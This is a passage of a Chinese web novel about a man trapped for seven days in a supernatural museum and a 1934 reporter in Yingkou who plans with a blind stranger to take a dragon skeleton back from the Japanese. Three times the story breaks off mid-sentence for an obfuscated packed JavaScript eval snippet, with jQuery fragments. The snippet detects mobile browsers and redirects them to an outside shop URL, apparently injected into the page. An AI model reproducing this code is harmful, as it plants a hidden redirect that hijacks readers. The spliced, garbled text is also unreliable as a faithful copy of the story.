“在那之后。你误入了神的宴会,在这里,这个房间……”馆主抬起手指着石台上,“坐在神身边,分得一杯羹。”
“你是说我和神一起吃了供品?”
馆主垂下手:“对。”
七零八落的碎片一块一块拼凑成完整的画面,模糊的记忆逐渐清晰浮现于脑海。他想起来了,昨夜的仙音、金光、老人,还有那碗鲜美的肉羹。震惊之余胃里忽然翻江倒海泛起一阵恶心,赵义之迅速转身冲出门弯腰干呕。
馆主不急不慢地走到他身旁,递出早已准备好的手帕,仿佛已然预料到事情会发展至此。
赵义之并没有真的吐出来,所以还算干净,他抓住馆主的手腕,缓缓转过头问他:“我昨晚吃的是什么肉?”
“鹿肉。”
“真的?”
“真的。每隔五年,阴女便会带来一块鹿肉,进行祭祀。”
“你早说啊”赵义之松了一口气,蹲在地上。全身的力气恰似瞬间被抽走,他接过馆主递来的手帕擦擦脸上的冷汗,双腿软得像骨头被融化了似的,“重要的事我希望你能放在开头说。”
“重要的事……”馆主想了想,说,“你已经不是活物了。”
赵义之苦笑一下:“那我现在是鬼?”
沉默片刻,馆主才回答:“也不是。你吃了‘非此之物’,我不得已将你拉了回来。”
“谢谢你。”话里带着讽刺。
“七日之后,你才有机会离开博物馆。”
赵义之摆摆手,支撑着膝盖艰难地站起来:“我今天得赶回去。一晚上了,家里人肯定很担心。”
馆主没有阻拦的意思:“不行。”
“今天是我外公的八十大寿。”
“不行。”
“那我给我妈打个电话说一声。”
“不行。”
赵义之无奈地看着她:“我妈联系不上我肯定会报警,到时候监控一查,发现我来白龙镇了,你就不怕警察来你这博物馆搜人?”
馆主波澜不惊地说:“他们不会来。”
“你这是绑架……”
“你忘记了一件很重要的事,等你想起来,就可以走了。”
“我忘了你可以告诉我,人与人之间相处最重要的是沟通,对吧?再说留下我对你也没什么好处,我家只算小康,付不起赎金。”
馆主依然只有一句话:“七日后,你便可以离开这里。”
赵义之发现根本无法沟通:“那我要是想不起来呢?”
“可能永远都出不去了。”说这句话的馆主不是在威胁,“倘若一开始你没有进来,一切都还可以挽回。即使进来,你没有闯入宴会吃下‘非此之物’,也能有个善终。”
这话说得,好像他只能死无葬身之地了。
赵义之烦躁地挠挠头,发型乱了也没管:“我承认,不该强行留下来。我道歉。但因为我吃了一口肉就把我关起来,是不是太过分了?”
馆主站在原地没动:“我答应了阴女。她说你是个好人。”
4. 须
“要不我们各退一步,我先回去给我外公过生日,两天,两天后我来让你关。怎么样?”
赵义之心中暗暗估算两人的力量,觉得自己强行突破的成功率很高。只是,他对博物馆的布局不熟悉,找路要花点时间。
而且,麻烦。
此刻他才开始后悔为什么昨晚被馆主带进房间的路上没记方向。不过在此之前,他应该先后悔为什么要按响门铃。
昨夜在车前大灯的照耀下,赵义之大致看见了博物馆的外轮廓,其实不算太大,以外高度来算,只有三层。可他顺着楼梯走了四五层楼也依旧没到底楼。他趴在楼梯扶手往下看,怎么都看不到头。
“我说了,你出不去。”馆主不知什么时候出现在他身后,“你是在浪费时间。”
赵义之面色无奈地盯着馆主看了许久,决定好好说话:“哥,你别搞我,求你了。放我出去吧,在这里呆七天我家里人真的会担心。我还有工作,无故旷工三次老板就可以开除我了。现在工作不好找啊,我只是个苦命的打工人……”
黑漆漆的墨镜遮住了馆主的眼睛,看不出他此刻究竟露出了什么样的神情:“抱歉……我帮不了你。七天后,你若能想起来,我会给你一个选择,打开大门放你出去。”
“监禁是犯法的,你为什么非要关我七天?”
沉默片刻,馆主才开口:“想起来,你才有机会获得自由。”
最初醒来时脑子的确尚有混沌,不过刚才在那间青铜甗的展厅里,他已经全都想起来了。包括开车送阴女来到这座博物馆、包括主动按响门铃求收留、包括端着蜡烛准备回车里取手机却误入神域吃了不该吃的东西、包括走过隧道去了一个风景优美的地方见到了死去的表姐。
他苦思冥想,也搞不清自己究竟还忘了什么事。
“唉……”赵义之重重叹口气,“我还是继续找出口吧。”
顺着楼梯的台阶往下走了两步,他察觉到身后的馆主也跟来,于是回头看向他:“我参观一下这座博物馆也不行吗?”
馆主没有任何回应,只是静静“看”着他。
算了,能走就走,不能走拉倒。赵义之像遛弯儿似的在博物馆的走廊上信步闲庭,倒真的像个来看展览的游客,随手打开一扇门,探着脑袋往里看一眼,便走进去了。
这里与放置青铜甗的展厅差不多,四壁上刻着龙,中央是半米高的石台。
石台上看似什么也没有,可仔细一瞧,就能发现石台上漂浮着一根不起眼的丝线。
丝线浮在石台正中间,在距离地面约莫一米八的高度,没有落下,也没有飘走,像是有一股小小的气流吹着它、拘着它,只在原处旋转。
赵义之慢慢走近石台盯着丝线看,这才看清所谓的丝线原来是一根足有两米长的毛发。
仿若感应到有参观者前来,毛发微微发出幽蓝的光。
————
公元1934年八月初。
营口已经断断续续下了四十多天的暴雨,电闪雷鸣的,几天前才总算消停下来。
赵义之端着刚倒好热水的搪瓷杯走回工位,还没来得及喝两口,主编就急冲冲找过来,将他从座位上拉起激动得满脸通红:“快、快!龙出现了!”
晃动使得杯子里的水溅在赵义之的胸前,他放下杯子顾不及拍拍水渍,抬头看向主编:“在哪儿?”
“烟草公司外的芦苇塘。”主编见他一副茫然的样子急得比划起来,“你现在立刻就去,务必将情况详细记录下来!”
“好!”
赵义之抓起办公桌上的笔记本冲出去,三两步跑下楼,将笔记本放进随身斜跨的布袋里,骑上自行车朝芦苇塘出发了。
与家喻户晓的《盛京时报》不同,他就职于的报社是一家规模很小的报社,平时报道的多是鸡毛蒜皮的小事,无关痛痒。并非主编和记者们不想写大事件,而是大事件每家报社都写,没了独特性。
毕竟玉放进展柜才叫精品,在批发市场只能叫石头。
再加上报社只有一台照相机,大多数时候轮不到他这般的普通记着来使用,这也就造成许多他认为有趣的新闻没有照片。比起晦涩的文字,百姓还是更喜欢图片的。这也是《营川新说》销量不好的原因之一。
骑着自行车赶到芦苇塘,还没看见龙的真身就已经闻见了浓郁的恶臭。眼下正值三伏天,是一年中最热的时候,腐肉的臭味混在炎热的空气里,熏得人脑袋发晕。
芦苇丛里已经围满了人,全都是来看龙的。站在最外层的赵义之伸长脖子踮起脚尖,想从人缝间偷得一丝机会,看一看里头。可惜还是什么都没偷着。
防疫站的白大褂背着消毒的器具站在人群外喊:“都让让,我们要给尸体消毒!”
围观的民众知道消毒的重要,一下子给防疫人员让出了一条道。赵义之瞅准时机,顺着白大褂们往里走的队伍钻到了最前排。
警察署的人面朝人群张开双臂负责维持秩序,将看稀奇的老百姓拦在外面。可是他们也好奇,不时回头看向那具灰色的尸体。赵义之也被拦下来,只能隔着距离看。
那具千疮百孔的巨大尸体足有四层楼高那么长,浑身裹着黑泥,像条蟒蛇般弯曲盘在沙土地上。可是蟒蛇的头上绝长不出两根将近一米的角。
“这到底是个啥东西?”
“这是龙!”
赵义之看得目瞪口呆,直到听见旁边的人议论起这个生物的来历,才猛然醒过来,赶紧拿出白纸,迅速将怪物的模样画下来。
虽然拍不了照片,但有幅手绘图也总归是好的。
他并不是一开始就会画画。起初,在新闻现场看见别家报社抬着相机记录画面,他心里羡慕又无奈,拿笔记录的手不知不觉开始在笔记本上涂鸦。如今,他的画技见长,哪怕比不过照片也算得上是真实了。
怪物的尸体已经爬满蛆虫开始腐烂,但模样勉强还能辨别出来。有角、有爪、有须、有鳞,不正是话本里的龙么?
画完尸体,赵义之又从包里翻出随身携带的笔记本,拔开钢笔冒问:“同志,这条龙怎么会出现在这里?”
“不知道,别瞎打听。”警察署的人丝毫不给他半点情面。
旁边热心的大姐看不惯,主动给赵义之讲起来:“听说之前就在水塘里了,守塘的老卢看见之后还生了病。”
话题被挑起,不需要赵义之再追问,周围的人自然而然聊开了:“上个月28号,就有龙从天上掉下来然后又想飞上去,好多人都看见了。还死了几个人,房子啊船啊,还有火车,全都掀翻了!”
“我也听说了,死了好几个呢。说是龙在飞升。上个月不是下了四十多天的雨嘛,肯定和这龙有关。”
死人的事赵义之是知道的,还在当天进行了采访,写出一篇文章刊登在报纸上。但那时,他赶过去的时候,现场已经被警察给控制起来,他没能亲眼看见,走访周边的相关人员也是众说纷纭,什么离奇的都有,但龙字却出现在每个人的口中。
他本来想继续顺着线索追查,可主编却不信,坚持是安全事故,是责任方想隐瞒真相,不准他再浪费时间。
如果他当时坚持自己的意见和主编抗争到底,说不定就可以记录下龙活着的模样了。
赵义之看着防疫人员正在处理的巨大尸体,非常后悔。
“七月初的时候这条龙就已经出现了!”
周围的人还在议论。
“真的?在哪儿出现的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248777|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“在田庄台出现了好几天呢,还有和尚给它念经。”
“那咋就突然死了呢?”
“我估计啊,是被雷从天上给劈下来的,然后回不去了。那可不就活不了了嘛。”
“这地方离入海口不远了,说不定它是想回海里去呢。”
“就差一点,可惜了。”
围观的群众纷纷为这条灰白巨龙的死而惋惜叹气。赵义之竖起耳朵仔细听着,将有关龙的每一个字都写在了随身的小笔记本上。
防疫人员给龙的尸体消完毒,随后开始剥肉剔骨做记录。大片大片的龙鳞被扒下来,装进大木框。皮与腐肉不好分离,便割成块,将骨头从里面抬出来分装好。警察署的人找附近的居民借来板车,将装有尸块的木框抬上去垒好,准备运走。
赵义之立刻走上前:“你们打算怎么处理这些东西?”
警察署的人看了他一眼,抬高下巴扬声道:“大家想看啊,就到西海岸码头空地上去。我们应要求,将会把这具龙骨展览数日。”
“龙骨?”赵义之追问,“那这些龙肉呢?”
“拿去做包子!”那人没好气地说。
听见龙骨会展出,先前没能挤到前排看过瘾的人立刻往西海岸跑,想在人群聚集前抢个好位置。而更多的人里外围在板车周围,借口帮忙推车盯着框里的烂肉看。
赵义之也想加入其中,可自行车还停在塘边上,总不能就不要了。几番纠结后,他一咬牙,转身逆着人流去骑车。
为了早些过去抢占个好位置,他拼命蹬着脚踏板,手里不停拨动铃铛,横冲直撞往前骑。结果没走多远,便哎哟一声撞了人。他摔下自行车倒在地上,包里的钢笔掉出来,磕断了笔尖。
他顾不得受伤的膝盖,捡起钢笔,心疼得不行,埋怨地瞪了被撞的男人一眼:“你会不会走路啊,听见我按铃还往路中间靠。我这钢笔老贵了!一会儿还要去采访写稿子!”
被撞倒的男人趴在地上,慢悠悠坐起来:“对不起。”
“说对不起有什么用,你倒是赔我钢笔啊。”赵义之嘟囔着,眉头因生气而紧蹙在一起。
“你有事没事?”他没好气地又问。
“我没事。”男人站起身,走到被撞飞出去的墨镜旁,弯腰正准备捡起来,一只脚便不偏不倚地踩上去。
是刚才聚在这里看龙的几个孩子,打闹之间跑过来,无意踩在墨镜上。
墨镜坏了,小孩连连道歉。最开始态度还挺好,可在抬头看见男人灰白色的眼睛后,几个孩子没敢等他说什么,立马转身跑了。男人捡起被踩坏的墨镜,仔细折起来放入裤兜。
男人的模样不大像本地人,眉眼深邃,五官太过精致。
赵义之扶起自行车推着走到男人身边,心里不免有了内疚:“你眼睛看不见?”
“嗯。”男人将脸转向赵义之,“我赔你一支新钢笔,多少钱?”
真要追究起来,这事赵义之也有责任,再加上对方又是个残疾人,他狠不下这个心:“算了,我一会儿拿去看能不能修好。你呢,你的眼镜……”
“坏了。”
“我刚刚可看见了,是那几个小孩踩坏的,你别想赖我。”
“嗯。”
赵义之都做好要和他吵架的心理准备了,见男人没有责怪他的意思,心里反而有些不好受,于是一咬牙拿出身上的钱,将一枚银元塞进男人的手里:“我还要卖钢笔,只能给你这么多了。你确定不用去医院?”
男人摸着手里的银元微微低下头:“不用。”
“那我走了。”赵义之跨上自行车要走,想了想,给男人留下一句话,“我叫周书云,在《营川新说》上班,你有事可以来找我。”
5. 想回家的骨头
周书云有个习惯,为了方便随时记下突发的事件,他总是随身带两支笔,一支写字的钢笔,一支画画的铅笔。他会小心翼翼地将笔装在一个细长的小铁盒里——这铁盒是他找了好久,才终于在旧货市场上买到的。
如果之前不是着急赶往西海岸而将钢笔随意放进布包,它也就不会掉出来摔断笔尖了。
眼下最重要的是了解更多关于天降神龙的细节,没时间让他重新去买只新钢笔——要是错过这种惊天大新闻,还不如直接转行算了。
他化悲愤为力气,站起来猛力蹬着脚踏板。
等周书云骑着自行车来到西海岸,再找到合适的位置停好车,运送龙尸的板车与民众也到了。警察署的人找来四个船锚放在四个点上,又拉上绳子缠绕在船锚上,拉出一个隔绝的范围,这才将不完整龙骨卸下板车堆在地面上,等着专人来摆放龙骨。
周书云抢了个好位置,若是手中有台照相机,想必定能拍出最好的照片。
可惜,实在是可惜。
比起有肉有皮的时候,堆放在一起的骨架对于周书云来说有点难画,索性作罢,尽可能将骨头的信息记下来。
骨节二十八段,各长尺余;龙角两根,长约四尺;肋骨五六寸,共一百五十余根。
水产学校的老师围着龙骨研究许多日,在终于龙的骨架拼好。
龙骨在西海岸的广场上展览了好些时日。起初是免费的,后来经过报纸的报道,知晓这件事而前来观龙的人越来越多,水产学校的人也就开始售票了。
即使如此,西海岸的广场上仍然是人山人海,还有许多人特意从外地坐火车来参观。
至于为什么是水产学校的人售票——
水产学校的校长是个日本人。
龙的传闻闹得满城风雨,在营口的日本人自然也听说了这件事。作为当地的“权威”,水产学校的校长希望能对龙骨进行更深的研究。
于是这副绝无仅有的骸骨便捐给了水产学校。
得到龙骨后,日本人并没有立刻收回去研究,而是在广场上搭起棚子,搬来八仙桌,将龙骨泡进福尔马林放在桌上供人观赏。
收的票钱自然全都划入了水产学校的账上。
说来实在好笑。在中国发现的中国龙,却归日本人所有,而中国人还需要向日本人交钱才能看上一眼。
这件事令周书云十分不痛快,在报纸上对此大批痛批。可惜《营川新说》没什么销量,他的愤慨未能激起水花。相反的,人们对龙骨属于谁没有太多想法,或许有,但也都无可奈何,只要能亲眼看看这传说中的神兽之骨,便已是非常高兴了。
1934年,日本已经发起对华的侵略战争,不仅是在东北,全国各地都在进行大大小小的战役。日本军队像蝗虫一般在中国的土地上肆虐、啃噬、摧残着生活在这里的所有生命。百姓无力反击,不知哪天就被冠以荒唐的罪名丧命刀口下,他们活得担惊受怕,被迫接受残忍的现实。
龙骨的出现,是这晦暗的时光里,唯一可以令人短暂忘记苦难的仙药。
然而龙从天上掉下来,死了,隐隐之中又在人们心里埋下不安的情绪。
一时间,大街小巷的议论从神龙现世变成了降龙酿灾。
龙没有酿成灾祸,而是替我们挡住了灾祸才对。周书云反复思考后得出这个结论。
天龙用自己的命,换了中国一命。
这预示着日本人一定会被打败、被赶出去。
周书云从床上坐起来,穿上鞋子出了门。
他这次决定顺从自己内心的想法,为了日后不再后悔。
今天是龙骨展出的第七天。自打第三天将龙骨捐赠给日本人创办的学校后,周书云再没去看过了。其一,是他不想给日本人钱,被动的给是迫于无奈,主动的给可就不行;其二么,该看的都已经看了,文章也早已登报,他没有再去凑热闹的必要。
其实这些天周书云一直在思考,要怎么做才能将龙骨从日本人手里拿回来——即使这只是一场妄想。
可是时至今日,即使是在妄想中,他也没能想出个好方法。
借着月色,周书云来到西海岸,躲在墙角的阴影中看着不远处的棚子。
这一路上,他从最开始的步履急切到中途变得迟疑,几番慢下来,想打道回府。但偏偏在他快要放弃时,却看见了那日被他撞到的瞎子。
瞎子脸上的墨镜换了副新的,正沿着街巷往前走。观其方向,应该也是要去西海岸。于是周书云一咬牙,决定偷偷跟在他身后。
男人步伐沉稳从容,手里没拿探路的东西。如果不是周书云事先知道男人眼睛看不见,恐怕此时见着他走路的身姿,根本想不到他是瞎的。
眼睛看不见么,出门多少会显得谨慎一些的。
而这个男人,没有借助任何自身之外的力量,准确无误地走到西海岸。
水产学校雇的守棚老头坐在竹椅上闭眼打盹,手里的蒲扇不时摇一摇,驱赶苍蝇。日本人料定没人敢对龙骨做什么,所以夜里也是不收走的。
这附近人家户少,到了夜里没什么光亮,只有席棚上挂的一盏煤油灯。
男人绕过打盹的老头走向席棚,仿若眼睛看得见一般撩起门帘,弯腰钻了进去。不多久,打盹的老头猛然惊醒,从竹椅上跳起来冲进席棚。
周书云一拍大腿,心里暗叫了声不好,朝棚子着急跑去。
“你想干哈!”老头的高亢的声音从棚内传出来,“出去!”
“哎呀可算让我找到你了!”周书云叫着撩开门帘走进席棚,挽住男人的胳膊要往外走,“你说你,一个瞎子瞎跑什么,净添乱!我都说了要送你回去了,就等我上个厕所的功夫,着啥急啊。”
“你……”
周书云立刻打了男人一下,不让他说话,随后转向老头说:“我这朋友是个瞎子,非要自己回家。您瞧,这不走错了。”
老头狐疑地打量着周书云与男人,似乎并不相信他过于刻意的表演。
棚内一时间没有人声交谈,只剩下诡异的咯咯声。
周书云这时才注意到,八仙桌上泡在福尔马林里的龙骨正在不断冒着血泡。
水产学校接手展览后,就将这副龙骨仔细处理过,什么血啊组织啊,在泡进福尔马林之前全部处理得干干净净,绝不可能发生这种情况。
“龙、龙神发怒了……”老头面露恐惧全身哆嗦,“神龙发怒了!”
他叫喊着跑出席棚。
周书云盯着老头的背影撇嘴笑了笑,这才收回目光推开男人的胳膊,走近八仙桌探着脑袋往玻璃缸里看。
“啧啧啧,落到鬼子手里被当成商品,龙不发怒才怪。”
男人拉住周书云的胳膊:“快走。他去叫人了。”
周书云犹豫两秒,拉着男人跑回自己家。
关门时他伸出脑袋左右看看,这才缩回去,合上大门挂好插销。
“书云,这么晚了你去哪儿了?”房里的奶奶被关门声吵醒,哑着嗓子问。
“没事儿,奶,您快睡吧。”周书云站在院中回应了,领着男人走进自己的屋。
他的父母原本是捕鱼的船主,靠海吃海,好不容易供出他这个高中生。当年,他一腔雄心壮志想去北平。可日本人来了,抢占了近海的资源,逼得不听话的渔民只能去更远的海上。某次出海,他父母的船就再也没回来,死不见尸。
家里的支柱倒了,只剩下他和奶奶两个人。未来没有给他美好的选择,能走的路只有踏实赚钱,养活自己和奶奶这一条。
“半夜三更,你去龙棚干啥?”周书云给男人倒了杯热水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248778|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人没喝,沉默许久才开口:“周……先生?谢谢你刚才替我解围。”
周书云坐在炕上,借着昏暗的油灯端详男人的容貌:“龙骨为什么会突然冒血泡?你做了什么?”
男人微微颔首,沉默不语。
“看在我替你解围的份上,说说。”
端坐着的男人似乎软了一点点:“我摸了龙骨。”
“就摸了?”
“嗯。”
“然后龙骨开始冒血泡?”
“嗯。”
周书云对此抱有深深的怀疑,但不知道为什么,他觉得不能追问得太紧,于是说:“我还没摸过呢,早知道就该趁那老头跑出去的时候摸一把。”
“龙骨不能留在这里。”男人突然说,“会引来灾祸。”
周书云皱了下眉头,似乎明白男人的打算了。不过如果灾祸能降临在日本人头上,他还是很乐意见的。
“照你这么说,那副骨头真的是龙骨?”
“是。”
周书云盘起腿:“说吧,你想干什么。”
男人将脸转向周书云,像是盯着他似的,保持了片刻,说:“我要带龙骨走。”
并不意外。
“带去哪儿?”
“龙穴。”
“龙穴?!”周书云一听,眼神立刻亮了,又惊又喜,“是指……龙的巢穴?!有这种地方?!”说完后他回过味来,连连又道,“对对对,肯定有的,龙如果只有一条就不可能繁衍。龙穴在什么地方?”他想去。
“马里亚纳海沟。”顿了顿,男人补充道,“也叫归墟。”
“《列子·汤问》里的归墟?真有这种地方……你知道在哪儿?”
“我去过。”
周书云诧异到极致反而冷静下来,他再次细细打量男人:“瞎子,你究竟是什么人?”
幽幽的,男人似乎轻轻叹了口气,随后才回答:“我叫拉姆。能告诉你的只有这么多。”
“拉姆……”周书云低头呢喃着重复了一遍,“藏族人?不对。”
听名字不像是中国人,至少不是汉人。再加上那副容貌……
就在周书云沉思间,拉姆慢慢站起身:“不打扰周先生休息了。”
“等等!”周书云猛地下炕叫住他,“归墟在海里,你有船吗,怎么带龙骨去?”
拉姆微微垂下脑袋,明显犹豫了。至于在犹豫什么,周书云没兴趣细究。
“带龙骨回龙穴比落在小日本手里强。我帮你,我知道哪里有船。而且你别看我这样,我从小可是在船上长大的,知道怎么开船。我和你一起送龙骨回家。”
“不行,那里不是你该去的地方。”
周书云嘴角坏坏一勾,信步走到拉姆面前:“不让我去,我就告诉警察署的人你要偷龙骨!那群人要是知道了,为了讨好日本人肯定会把你关起来。管你是拉姆扯姆,一顿打肯定少不了。”
“卑鄙。”拉姆的声音没有起伏,好像不是在骂人。
“我这叫谋略。”他抓起拉姆的右手,握上去,被冷得皱了下眉头,“你的手这么冷,是气血不足?”
拉姆不想再节外生枝,于是妥协了:“船什么时候可以出发?”
“等我通知。”
拉姆点点头,再次准备离开。
周书云忽然心里生出个主意,瞥了眼拉姆脚下,立刻出声叫住他:“对了,我怎么找你?”
说完,他悄悄端起桌上的水杯,轻手轻脚放在拉姆脚尖前,正好是一步的距离。
“我住在铁路附近的招待所。”拉姆似乎没有察觉到周书云的试探,“出海日子定了,请提前一日告知我。”
“好。”周书云的声音里带着开心。当然,这股情绪是源自于成功设置了陷阱,“你打算怎么将龙骨弄过来?”
6. 海上的帆
“周先生,我想请你再帮一个忙。”拉姆说。
周书云一口答应:“好啊。需要我做什么?”
“不着急,等你来找我的时候,我再详细告诉你。今天就到这里,再见。”拉姆抬起脚,跨过了周书云放在地上的水杯,开门走出去。
不知是刚巧,还是他真有某种感应,若是不提,甚至没人能看出拉姆是个瞎子。
周书云撇撇嘴,弯腰捡起水杯,揭开杯盖喝了口里面的热水,躺上没通热气的炕,寻思起如何弄来一艘能去归墟的船。
如果父母还在,或许他也有坐在渔船上吹着海风的机会。太阳会热烈地照在他身上,他戴着草帽身穿短裤背心,坐在船头哈哈大笑,皮肤变得和父亲一样黝黑。
他的父亲有个愿望——等存够了钱,买一艘远洋的柴油船,带着母亲、妻子、与他,去大海彼端看广阔的世界。
这是一个梦想,只是一个梦想。
父亲去过最远的海,就是在他死的那天,没有柴油船,没有广阔的世界。
只有可恶的鬼子。
连出现在他梦里的时候,都是一群烧杀抢掠的畜生。
以至于梦醒来后,他的眼角都仍有湿润。
周书云用力搓搓脸,迅速洗漱好,端起桌上的白米粥站着两口喝完,抓起一个馒头着急出门了。奶奶手里的咸菜还没来得及放下,追着他走到院中招呼了几声,全被咬着馒头的周书云含糊应付过去。
他今天要去找船。
儿时,他有个关系特别铁的好兄弟,年纪相仿,臭味相投。大人出海捕鱼时,留下两个小子满大街胡闹,闯了数不清祸。直到他父母勒紧裤腰带用捕鱼的钱送他去上学,那些惹事生非相互照应的时光便停在了岔路口,永远保存在过去。
他穿上灰衣灰裤背着书包走在右边通往学校的路上,而他依然一身背心短裤扛着鱼竿顺着左边的路跑向大海。地面开满一朵朵小野花,天空干净而明亮。
“你找谁?”船厂的老工人问。
周书云推着自行车,迎上前问:“你好,我找你们刘厂长,约好了做个采访。”
他留了个心眼。
身形消瘦满头花发的老工人驼着背,一只手背在身后,一只手摇指里面:“你去里面看看。”
“好,谢谢您。”他将自行车停在车棚,被抛起的钥匙最终喀拉一声稳稳落在掌心。他一面快步往里走,一面小声喊,“陈达。”
船坞处,尚未造完的船身后面伸出一只脑袋,见到周书云立刻露出笑,和小时候一样。
“周云!你干啥鬼鬼祟祟的。”陈达年将手中的钉锤放进腰间的包,扯下头上的帽子擦了擦手里的污垢,大笑着热情迎接,“好小子,怎么想起我了?”
周书云冲过去给了陈达年一个大大的拥抱:“当然是有事找你。这个忙只有你能帮我了,别人我都信不过。”
“什么事说得这么严重。”陈达年说罢好似想到了什么,双眼顿时亮起来,“你小子要结婚了?!”
周书云猛地推开他,皱起眉来:“我还想呢,可哪家姑娘能看上我。”
陈达年变得严肃起来,脸上也不见了笑:“不是找我闹洞房?那还有什么事?你奶奶出事了?”
“不是。”周书云左顾右盼,神神秘秘地将陈达年拉到一旁,压低了嗓音,“我想要一艘船,去远海的。你有办法么?”
“你要出海?”陈达年十分惊讶,随后也压低了声音,“现在日本人控制了港口,出海可不容易。”
“所以我才来找你。全营口除了我奶,我只信你了。”
“你先告诉我,你出海要去哪儿?”
周书云谨慎地看了看四周,小声说:“龙骨的事你知道吧?”
“我看了你写的文章。是真的?”
“千真万确。不过龙骨现在归日本人了,我要把它从日本人手里抢回来,运出海。”周书云攥紧拳头,眼里藏不住怒火,“我宁愿把龙骨扔进海里,也不给那帮杂种。”
陈达年睁圆了眼:“就凭你自己?”
“还有一个人。详细的我不和你多说,你只管替我找艘可以去远海的船,不需要船员,就要船。”
陈达年蹙着眉头想了想,咬咬牙下定决心:“好。有艘废弃的帆船,我修补修补给你用。但是你懂风向海流?”
“上学的时候学过一些。”周书云想到了神秘的拉姆,又说,“放心吧,有另一个人在,这些不是问题。”
他不知道自己为什么如此信任拉姆,一个长相独特气质独特的盲人。难道只是因为他确认了龙骨的真伪,以及提到归墟这个地方吗?不,肯定不止这些的。
日本人来到营口的这些年,他亲眼见过被日本人的汽车撞死的小孩、被日本兵开枪打死的拉车师傅、横尸海边的少女。他的血液早已在一次次被撤稿、一次次被威胁中慢慢变成火药,只差一根引线,只差一点火苗。
与其说是相信拉姆能夺回龙骨,不如说是拉姆给了他一个机会,一个反抗的机会。
“那个人靠得住吗?”陈达年悄声问,“是不是那个,不能提的那个?”
“我也不知道,但肯定不是日本人。”
陈达年拍拍周书云的肩:“行,船的事交给我,肯定给你修补得能正常航行。”
周书云从包里拿出一个厚厚的信封塞给陈达年:“这些钱你拿去买修船的材料,不够我再给。如果有剩的,你自己留着,权当我提前给你的结婚红包。”
陈达年低头看着手里的信封。隔着一层薄薄的纸,里面的钱币传来沉甸甸的感觉。他有些哽咽:“周书云……”
只有在最正经的时候,陈达年才会喊他全名。周书云一下子挺直了后背。
“你老实告诉我,你是不是没打算回来?”
他扬起手,想和以前玩闹时一样狠狠打他,然后说句趣话。可突然他便没了这个心情,刚摆出的笑容也僵在正要绽放的时候,再也没有后继之力了。
周书云放下手,顺势搭在陈达年的肩上,正色道:“好兄弟,如果我回不来了,你替我给我奶送个终。”
陈达年猛地抬起头,对上周书云的目光后便知道自己劝不住他了:“放心吧,我陈达年不是个辜负朋友的人。”
周书云笑着点了点头:“我当然信得过你。”
父母出海未归的那天,陈达年陪他坐在海边等,一直等到了第二天的早上。小渔船不会在海上过夜,只要过夜,便再难回来——所有人都明白发生了什么。
总有一天,我要把小鬼子剁碎扔进海里喂鱼。
看着海港的日本渔船,他咬牙切齿对陈达年说。
陈达年立刻捂住他的嘴,将他拖回了家。
回了家,奶奶红着双眼坐在院子里,想来也是一夜未眠。
“书云,你过来。”奶奶从厨房里出来,在围腰上擦干净手上的水。
厨房顶上的烟囱冒着烟,飘入紫色霞光里,好似一层纱,渐渐便淡了、散了。
周书云跟着奶奶进了屋,站在离门不远的地方看着老人趴在炕上掀开枕头找东西:“奶,你找啥?”
奶奶将枕头放回原处,拍了拍,顺势在炕上坐下,悬空的双腿交叉叠在一起,手里拿着一个用大红花布包裹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248779|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好的东西:“我听达年说了,你要出海。”
周书云心虚地垂下目光:“我本来打算过两天给您说的。”
奶奶没有抬头看他,一面掀开大红花布,一面说:“我知道,自你爹娘死后,你心里一直有火。这些是奶奶攒下的钱,你给达年送去,别让他自己掏钱赔给你。”
“您……同意我出海?”
奶奶抹了把眼泪,将一把银元放在桌上:“不拦,男儿志在四方,奶奶不拦你。把这个也带上。”她颤抖的手从摊开的大红花布里拿出一张照片,递给周书云。
周书云立刻走上前,双手小心接过来。
这是他们一家四口的照片,是他考上高中那会儿,父亲请照相馆的老板来拍的,背景是外面的院子。
那天他穿上母亲做的新衣服、奶奶做的新鞋子,胸前的口袋里放着父亲送的钢笔,被拥在正中间,张开双臂握住了他们。照片已经有些模糊了,但四人脸上的笑仍像盛开的红梅花,冬雪不摧。
“奶奶还年轻,身子骨也硬朗,你不用担心。”
周书云握紧老人的手,坚定地说:“奶,我一定会回来,给您养老送终。”
奶奶抽出一只手锤了他一记,黄黑的手背上皮肤已然松垂,挤出一条又一条的纹路。
“说的什么话,要送终还早着呢!哎哟,我煮的饭。”她将银元全部扔在桌上,逃似的大步走出了房间。
周书云一手抓着照片,一手抓着钱,强忍着没哭。
这次出海,是倾尽他后半身的破釜沉舟。
即便能回来,等着他的将会是怎样一种下场,不用费心思去想,也能知道。
就是死么。
不就是死么。
